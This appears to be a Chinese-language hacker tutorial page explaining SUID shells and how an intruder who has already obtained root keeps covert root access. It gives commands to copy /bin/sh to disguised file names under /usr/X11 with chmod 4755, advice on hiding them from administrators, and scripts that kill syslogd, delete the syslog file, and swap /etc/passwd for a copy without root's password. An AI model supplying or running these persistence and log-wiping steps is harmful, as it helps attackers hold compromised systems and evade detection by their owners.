什麼是Suid shell?

 
什麼是Suid shell?

Suid shell是一種可用於以擁有者權限運行的shell。也就是說,如果擁有者是root,那你就可能以root的身份執行命令。普通的shell文件屬性爲rwxr-xr-x,擁有者爲root,root可讀/寫/執行這個shell,而其他用戶則只能以自己的權限讀和運行它。然而,如果有一個文件屬性爲rwsr-xr-x的shell,就可以獲得文件擁有者權限;如果文件擁有者是root,那麼任何運行了這個shell的用戶便可以控制整個系統,如增加用戶、修改root口令、清除日誌等等。 
爲什麼需要它? 
  這是一個非常容易回答的問題。當通過某些方法進入系統後,如果系統管理員有一定的水平,會很快發現問題。通常他們會查看日誌和修改root口令,你可能就要跟這個系統說再見了。這就是需要suid shell的原因 。:) 


怎樣才能得到suid shell呢? 
  首先你要足夠狡猾,這取決於你面對的是什麼樣的系統管理員。當你用盡一切方法,如猜口令、苦難root 、安全漏洞攻擊等等,終於成功地取得了root權限,儘快找到一個幾乎從未使用過的目錄。無論如何,不要將suid shell放在你的主目錄下。一個比較好的地方是/usr下的深層子目錄,如/usr/X11/include/X11/。這個目錄幾乎不會有人進去的,而且很少會因存放過多文件而使系統管理員檢查裏面的文件。另外,suid shell的名字應該儘量與其它文件相似。例如,在這個目錄下有sync.h、shape.h等文件,suid shell可以取part.h這種隱蔽性較好的名字。 
  另一個比較好的地方是將suid shell與其它suid程序放置在一起,如/usr/sbin,並同樣取一個隱蔽的名字。 

  接着,就是在這些目錄下創建suid shell了。如: 

cp /bin/sh /usr/X11/include/X11/extensions/part.h 
chmod 4755 /usr/X11/include/X11/extensions/part.h 
 注意,爲了使整個過程在最短的時間內完成,應該在進入系統前做好相應準備。最好在嘗試攻擊前仔細研究系統和計劃。另外總是多創建幾個suid shell,這樣即使其中一個被發現了,仍然有通過使用其它suid shell控制系統的機會。 


  如何利用suid shell呢? 

  在許多系統中,往往限制用戶所能使用的shell。這個只要檢查一下/etc下的相應文件就能知道。在Linux系統中這個文件是/etc/shells,其中列出了所有的shell程序。但你可以用suid shell做任何事!例如,你準備將/etc/passwd改名爲/etc/passwd.heh,編寫如下腳本即可: 

#!/usr/X11/include/X11/extensions/part.h 

mv /etc/passwd /etc/passwd.heh 
exit 
(這只是個示例,最好別這樣做:)) 
上面的例子好象只提供了一個非交互的程序,但只要精心編寫腳本,同樣可以實現虛擬的“交互”程序。 

如果你仍然想真正得到可交互的訪問,請閱讀以下內容。 

首先將/etc/passwd複製到主目錄下,編輯它以刪除root的加密口令。接着輸入"ps ax|grep syslog/'取得syslogd的進程號。現在以/'interactive XX/'(XX是syslogd的進程號)格式運行如下腳本: 

#!/usr/X11/include/X11/extensions/part.h 

kill -9 $1 
rm -f /var/adm/syslog 
cp /etc/passwd /etc/passwd.OLD 
cp ~backend/passwd /etc/passwd 
chmod 644 /etc/passwd 
exit 

 現在可以無須口令就成爲root了 
 一旦完成所要做的”工作“後,記住運行如下腳本,替換回最初的口令文件。 

#!/usr/X11/include/X11/extensions/part.h 

cp /etc/passwd.OLD /etc/passwd 
chmod 644 /etc/passwd 
exit  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章